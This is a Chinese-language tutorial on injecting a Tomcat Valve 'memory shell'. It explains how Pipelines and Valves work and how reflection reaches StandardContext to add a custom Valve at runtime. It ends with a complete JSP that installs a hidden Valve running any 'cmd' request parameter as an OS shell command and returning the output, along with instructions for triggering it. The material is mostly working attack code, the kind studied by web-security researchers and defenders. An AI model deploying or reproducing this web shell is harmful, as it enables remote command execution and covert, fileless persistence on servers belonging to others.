什么是Valve
Valve
也可以直接按照字面意思去理解为阀门。我们知道,在生活中可以看到每个管道上面都有阀门,Pipeline
和Valve
关系也是一样的。Valve代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。
Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加。
在 Tomcat 中,四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类,StandardEngineValve
、StandardHostValve
、StandardContextValve
以及 StandardWrapperValve
,他们同时维护一个 StandardPipeline
实例。
注入过程
通过StandardContext的getPipline()方法来获取StandardPipeline对象,再通过StandardPipeline对象的addValve()方法来将Valve添加到Pipeline中。
创建一个Valve,TestValve.java:
package com.example.memshell;
import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import java.io.IOException;
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
response.getWriter().write("Valve 被成功调用");
}
}
创建完Valve还需要将Valve添加到Pipeline中,则使用上述的方法,通过反射将Valve添加到Pipeline中。
创建Servlet,TestConfig.java:
package com.example.memshell;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
public class TestConfig extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("My Servlet");
Field requestField = null;
try {
requestField = req.getClass().getDeclaredField("request");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
requestField.setAccessible(true);
final Request request1;
try {
request1 = (Request) requestField.get(req);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
StandardContext standardContext = (StandardContext) request1.getContext();
standardContext.getPipeline().addValve(new TestValve());
}
}
该代码中通过反射获取到StandardContext,通过getPipeline()获取到StandardPipeline,又通过StandardPipeline中的addValve()方法将自行创建的Valve对象添加进Pipeline中。
创建完成后记得在web.xml中添加路径对应关系,或者直接使用注解进行设置路径对应关系。
启动服务,访问设置好的Servlet
第一次请求:
第二次请求:
可以看到,第一次请求前Valve还没有在Pipeline中,当第二次请求时,新创建的Valve已经通过映射注入进去了,所以在第二次请求时才会显示Valve被成功调用。
注入成功后,请求所有Servlet都会先触发Valve。
执行完Valve中的内容不往下执行Servlet或其他Valve的内容,需要在新建的Valve类中添加getNext().invoke(request, response);执行完当前Valve的内容后就会执行后面的Valve还有Servlet的内容。
修改后的TestValve.java:
package com.example.memshell;
import jakarta.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import java.io.IOException;
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
response.getWriter().write("Valve 被成功调用");
getNext().invoke(request, response);
}
}
JSP完成Valve内存马注入
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
private static class MyValveBase extends ValveBase {
@Override
public void invoke(Request request, Response response) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
ValveBase valveBase = new MyValveBase();
standardContext.getPipeline().addValve(valveBase);
out.println("evil valve inject done!");
%>
启动服务后,先访问该jsp文件,然后再在存在的路径上加上?cmd=whoami即可执行命令。